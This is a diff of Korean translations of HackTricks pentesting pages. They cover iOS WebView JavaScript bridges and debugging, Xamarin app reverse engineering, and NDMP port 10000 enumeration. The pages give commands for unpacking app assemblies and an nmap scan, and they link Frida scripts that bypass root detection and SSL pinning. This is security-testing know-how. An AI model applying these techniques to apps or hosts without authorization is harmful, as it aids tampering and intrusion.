options_dict["javaScriptBridge"]?.value = enabled
|
options_dict["javaScriptBridge"]?.value = enabled
|
||||||
|
@ -215,9 +216,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### 상호작용 및 테스트
|
### Interaction and Testing
|
||||||
|
|
||||||
JavaScript는 스크립트 메시지 핸들러를 정의함으로써 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 등의 작업이 가능합니다:
|
JavaScript는 스크립트 메시지 핸들러를 정의하여 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 것과 같은 작업이 가능합니다:
|
||||||
```javascript
|
```javascript
|
||||||
function invokeNativeOperation() {
|
function invokeNativeOperation() {
|
||||||
value1 = document.getElementById("value1").value
|
value1 = document.getElementById("value1").value
|
||||||
|
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
||||||
// Alternative method for calling exposed JavaScript functions
|
// Alternative method for calling exposed JavaScript functions
|
||||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||||
```
|
```
|
||||||
네이티브 함수 호출의 결과를 캡처하고 조작하기 위해 HTML 내에서 콜백 함수를 재정의할 수 있습니다:
|
네이티브 함수 호출의 결과를 캡처하고 조작하기 위해, HTML 내에서 콜백 함수를 오버라이드할 수 있다:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<script>
|
<script>
|
||||||
|
@ -239,7 +240,7 @@ alert(result);
|
||||||
</script>
|
</script>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
네이티브 측면에서는 `JavaScriptBridgeMessageHandler` 클래스에서 JavaScript 호출을 처리합니다. 여기서 숫자를 곱하는 등의 작업 결과가 처리되고 JavaScript로 다시 전송되어 표시되거나 추가 조작을 위해 사용됩니다.
|
네이티브 측은 `JavaScriptBridgeMessageHandler` 클래스에서 보여준 것처럼 JavaScript 호출을 처리하며, 숫자 곱셈과 같은 작업의 결과를 처리하고 이를 JavaScript로 다시 전송하여 표시하거나 추가 조작을 위해 사용합니다:
|
||||||
```swift
|
```swift
|
||||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||||
// Handling "multiplyNumbers" operation
|
// Handling "multiplyNumbers" operation
|
||||||
|
@ -254,38 +255,39 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||||
```
|
```
|
||||||
## iOS WebViews 디버깅
|
## iOS WebViews 디버깅
|
||||||
|
|
||||||
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)의 튜토리얼을 기반으로 한 자습서)
|
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||||
|
|
||||||
iOS 웹뷰 내에서 웹 콘텐츠를 효과적으로 디버깅하기 위해서는 `console.log()`로 보낸 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 사용하는 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간소화된 가이드입니다.
|
iOS webviews 내의 웹 콘텐츠를 효과적으로 디버깅하려면 `console.log()`에 전송된 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 포함한 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간단한 가이드입니다:
|
||||||
|
|
||||||
- **iOS 기기에서의 준비**: iOS 기기에서 Safari 웹 인스펙터를 활성화해야 합니다. 이를 위해 **설정 > Safari > 고급**으로 이동하여 _웹 인스펙터_를 활성화합니다.
|
- **iOS 기기 준비**: iOS 기기에서 Safari 웹 검사기를 활성화해야 합니다. 이는 **설정 > Safari > 고급**으로 이동하여 _웹 검사기_를 활성화함으로써 수행됩니다.
|
||||||
|
|
||||||
- **macOS 기기에서의 준비**: macOS 개발 기기에서 Safari 내에서 개발자 도구를 활성화해야 합니다. Safari를 실행하고 **Safari > 기본 설정 > 고급**에 액세스하여 _개발자 메뉴 표시_ 옵션을 선택합니다.
|
- **macOS 기기 준비**: macOS 개발 머신에서 Safari 내의 개발자 도구를 활성화해야 합니다. Safari를 실행하고 **Safari > 환경설정 > 고급**에 접근하여 _개발 메뉴 표시_ 옵션을 선택합니다.
|
||||||
|
|
||||||
- **연결 및 디버깅**: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기의 Safari를 사용하여 디버깅하려는 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고, iOS 기기의 이름 위로 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사하려는 인스턴스를 선택합니다. 이를 위해 새로운 Safari 웹 인스펙터 창이 열립니다.
|
- **연결 및 디버깅**: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기에서 Safari를 사용하여 디버깅할 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고 iOS 기기 이름 위에 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사할 인스턴스를 선택합니다. 이 목적을 위해 새로운 Safari 웹 검사기 창이 열립니다.
|
||||||
|
|
||||||
그러나 제한 사항을 염두에 두세요:
|
그러나 제한 사항에 유의하십시오:
|
||||||
|
|
||||||
- 이 방법으로 디버깅하려면 macOS 기기가 필요하며, Safari에 의존합니다.
|
- 이 방법으로 디버깅하려면 macOS 기기가 필요합니다. 이는 Safari에 의존하기 때문입니다.
|
||||||
- Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store나 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.
|
- Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store 또는 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.
|
||||||
|
|
||||||
|
|
||||||
## 참고 자료
|
## 참고 문헌
|
||||||
|
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,63 @@
|
||||||
# Xamarin 앱
|
# Xamarin Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
이것은 블로그 게시물 [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)의 요약입니다.
|
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
|
|
||||||
## **기본 정보**
|
## **기본 정보**
|
||||||
|
|
||||||
Xamarin은 .NET 및 C# 프레임워크를 사용하여 iOS, Android 및 Windows용 앱을 개발하기 위해 개발된 **오픈 소스 플랫폼**입니다. 이 플랫폼은 현대적인 애플리케이션을 효율적으로 만들기 위해 다양한 도구와 확장 기능에 접근할 수 있습니다.
|
Xamarin은 개발자가 .NET 및 C# 프레임워크를 사용하여 **iOS, Android 및 Windows용 앱을 구축**할 수 있도록 설계된 **오픈 소스 플랫폼**입니다. 이 플랫폼은 현대적인 애플리케이션을 효율적으로 만들기 위한 수많은 도구와 확장 기능에 대한 접근을 제공합니다.
|
||||||
|
|
||||||
### Xamarin의 아키텍처
|
### Xamarin의 아키텍처
|
||||||
|
|
||||||
- **Android**의 경우, Xamarin은 .NET 바인딩을 통해 Android 및 Java 네임스페이스와 통합되며 Mono 실행 환경에서 Android Runtime (ART)과 함께 작동합니다. 관리 가능한 호출 래퍼(MCW)와 Android 호출 래퍼(ACW)는 Mono와 ART 간의 통신을 용이하게 합니다. 이 두 가지는 Linux 커널 위에 구축되어 있습니다.
|
- **Android**의 경우, Xamarin은 .NET 바인딩을 통해 Android 및 Java 네임스페이스와 통합되어 Mono 실행 환경 내에서 Android Runtime (ART)와 함께 작동합니다. Managed Callable Wrappers (MCW)와 Android Callable Wrappers (ACW)는 Mono와 ART 간의 통신을 용이하게 하며, 두 가지 모두 Linux 커널을 기반으로 구축되었습니다.
|
||||||
- **iOS**의 경우, 애플리케이션은 Mono 런타임에서 실행되며 C# .NET 코드를 ARM 어셈블리어로 변환하기 위해 완전한 Ahead of Time (AOT) 컴파일을 사용합니다. 이 프로세스는 UNIX와 유사한 커널 위에서 Objective-C 런타임과 함께 실행됩니다.
|
- **iOS**의 경우, 애플리케이션은 Mono 런타임에서 실행되며, C# .NET 코드를 ARM 어셈블리 언어로 변환하기 위해 전체 Ahead of Time (AOT) 컴파일을 활용합니다. 이 과정은 UNIX와 유사한 커널에서 Objective-C Runtime과 함께 실행됩니다.
|
||||||
|
|
||||||
### .NET 런타임 및 Mono 프레임워크
|
### .NET 런타임 및 Mono 프레임워크
|
||||||
|
|
||||||
**.NET 프레임워크**는 응용 프로그램 개발을 위한 어셈블리, 클래스 및 네임스페이스를 포함하며 .NET 런타임은 코드 실행을 관리합니다. 이는 플랫폼 독립성과 역호환성을 제공합니다. **Mono 프레임워크**는 .NET 프레임워크의 오픈 소스 버전으로, 2005년에 .NET을 Linux로 확장하기 위해 시작되었으며 현재는 Microsoft에서 지원하고 Xamarin이 주도합니다.
|
**.NET 프레임워크**는 애플리케이션 개발을 위한 어셈블리, 클래스 및 네임스페이스를 포함하며, .NET 런타임은 코드 실행을 관리합니다. 플랫폼 독립성과 이전 버전과의 호환성을 제공합니다. **Mono 프레임워크**는 2005년에 시작된 .NET 프레임워크의 오픈 소스 버전으로, Linux에 .NET을 확장하기 위해 시작되었으며, 현재 Microsoft의 지원을 받고 Xamarin이 주도하고 있습니다.
|
||||||
|
|
||||||
### Xamarin 앱의 역공학
|
### Xamarin 앱의 리버스 엔지니어링
|
||||||
|
|
||||||
#### Xamarin 어셈블리의 디컴파일
|
#### Xamarin 어셈블리의 디컴파일
|
||||||
|
|
||||||
디컴파일은 컴파일된 코드를 소스 코드로 변환하는 과정입니다. Windows에서는 Visual Studio의 Modules 창을 통해 디컴파일할 모듈을 식별하여 제3자 코드에 직접 액세스하고 분석을 위해 소스 코드를 추출할 수 있습니다.
|
디컴파일은 컴파일된 코드를 다시 소스 코드로 변환합니다. Windows에서는 Visual Studio의 모듈 창에서 디컴파일을 위한 모듈을 식별할 수 있으며, 이를 통해 타사 코드에 직접 접근하고 분석을 위한 소스 코드를 추출할 수 있습니다.
|
||||||
|
|
||||||
#### JIT vs AOT 컴파일
|
#### JIT vs AOT 컴파일
|
||||||
|
|
||||||
- **Android**는 Just-In-Time (JIT) 및 Ahead-Of-Time (AOT) 컴파일을 지원하며 최적의 실행 속도를 위한 Hybrid AOT 모드를 제공합니다. 전체 AOT는 엔터프라이즈 라이선스에만 제공됩니다.
|
- **Android**는 Just-In-Time (JIT) 및 Ahead-Of-Time (AOT) 컴파일을 지원하며, 최적의 실행 속도를 위한 Hybrid AOT 모드가 있습니다. 전체 AOT는 Enterprise 라이센스에만 독점적입니다.
|
||||||
- **iOS**는 Apple의 동적 코드 실행에 대한 제한으로 인해 AOT 컴파일만 사용합니다.
|
- **iOS**는 Apple의 동적 코드 실행 제한으로 인해 오직 AOT 컴파일만 사용합니다.
|
||||||
|
|
||||||
### APK/IPA에서 dll 파일 추출
|
### APK/IPA에서 dll 파일 추출
|
||||||
|
|
||||||
APK/IPA의 어셈블리에 액세스하려면 파일을 압축 해제하고 어셈블리 디렉토리를 탐색합니다. Android의 경우, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)와 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)와 같은 도구를 사용하여 dll 파일을 압축 해제할 수 있습니다.
|
APK/IPA의 어셈블리에 접근하려면 파일을 압축 해제하고 어셈블리 디렉토리를 탐색합니다. Android의 경우, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 및 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)와 같은 도구를 사용하여 dll 파일을 압축 해제할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||||
```
|
```
|
||||||
Android에서 어셈블리 블롭을 언팩하는 데에는 [pyxamstore](https://github.com/jakev/pyxamstore)를 사용할 수 있습니다.
|
Android의 assembly blobs에 대해, [pyxamstore](https://github.com/jakev/pyxamstore)는 이를 압축 해제할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
```
|
```
|
||||||
iOS dll 파일은 손쉽게 복호화할 수 있으며, 다양한 플랫폼에서 공통적으로 사용되는 애플리케이션 코드의 상당 부분을 노출시킵니다.
|
iOS dll 파일은 디컴파일을 위해 쉽게 접근할 수 있으며, 이는 애플리케이션 코드의 상당 부분을 드러내며, 종종 다양한 플랫폼 간에 공통 기반을 공유합니다.
|
||||||
|
|
||||||
### 동적 분석
|
### 동적 분석
|
||||||
|
|
||||||
동적 분석은 SSL 핀닝을 확인하고 Xamarin 앱의 .NET 이진 파일을 런타임에서 수정하기 위해 [Fridax](https://github.com/NorthwaveSecurity/fridax)와 같은 도구를 사용하는 것을 의미합니다. Frida 스크립트를 사용하면 루트 탐지 또는 SSL 핀닝 우회와 같은 기능을 향상시킬 수 있습니다.
|
동적 분석은 SSL 핀닝을 확인하고 [Fridax](https://github.com/NorthwaveSecurity/fridax)와 같은 도구를 사용하여 Xamarin 앱의 .NET 바이너리에 대한 런타임 수정을 수행하는 것을 포함합니다. Frida 스크립트는 루트 탐지 또는 SSL 핀닝을 우회하는 데 사용 가능하여 분석 능력을 향상시킵니다.
|
||||||
|
|
||||||
다른 흥미로운 Frida 스크립트:
|
기타 흥미로운 Frida 스크립트:
|
||||||
|
|
||||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||||
|
@ -67,16 +68,17 @@ iOS dll 파일은 손쉽게 복호화할 수 있으며, 다양한 플랫폼에
|
||||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **프로토콜 정보**
|
# **프로토콜 정보**
|
||||||
|
|
||||||
[Wikipedia](https://en.wikipedia.org/wiki/NDMP)에서 가져온 내용:
|
From [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||||
|
|
||||||
> **NDMP** 또는 **Network Data Management Protocol**은 네트워크에 연결된 저장소 장치([NAS](https://en.wikipedia.org/wiki/Network-attached_storage))와 백업 장치 간에 데이터를 전송하기 위한 프로토콜입니다. 이를 통해 데이터를 백업 서버 자체를 통해 전송할 필요가 없어져 속도가 향상되고 백업 서버의 부하가 줄어듭니다.
|
> **NDMP**, 또는 **네트워크 데이터 관리 프로토콜**은 네트워크 연결 저장 장치 \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\)와 [백업](https://en.wikipedia.org/wiki/Backup) 장치 간에 데이터를 전송하기 위한 프로토콜입니다. 이는 데이터를 백업 서버 자체를 통해 전송할 필요를 없애고, 속도를 향상시키며 백업 서버의 부하를 줄입니다.
|
||||||
|
|
||||||
**기본 포트:** 10000
|
**기본 포트:** 10000
|
||||||
```text
|
```text
|
||||||
|
@ -25,16 +26,6 @@ PORT STATE SERVICE REASON VERSION
|
||||||
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
||||||
```
|
```
|
||||||
# **열거**
|
# **열거**
|
||||||
|
|
||||||
Enumeration is the process of gathering information about a target network or system. It involves identifying and collecting data such as open ports, running services, and user accounts. Enumeration is an essential step in the hacking process as it provides valuable information that can be used to exploit vulnerabilities and gain unauthorized access.
|
|
||||||
|
|
||||||
There are various techniques and tools that can be used for enumeration, including port scanning, service identification, and user enumeration. Each technique focuses on a specific aspect of the target network or system and helps in building a comprehensive picture of its infrastructure.
|
|
||||||
|
|
||||||
During enumeration, it is important to be thorough and systematic. This involves scanning all possible ports, identifying all running services, and enumerating all user accounts. The collected information should be carefully analyzed to identify potential vulnerabilities and weaknesses that can be exploited.
|
|
||||||
|
|
||||||
Enumeration can be performed manually or using automated tools. Manual enumeration requires a deep understanding of network protocols and services, while automated tools can simplify the process by scanning and collecting data automatically.
|
|
||||||
|
|
||||||
Overall, enumeration is a critical phase in the hacking process as it provides the necessary information to plan and execute successful attacks. By understanding the target network or system, hackers can identify and exploit vulnerabilities, ultimately gaining unauthorized access.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
||||||
```
|
```
|
||||||
|
@ -44,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
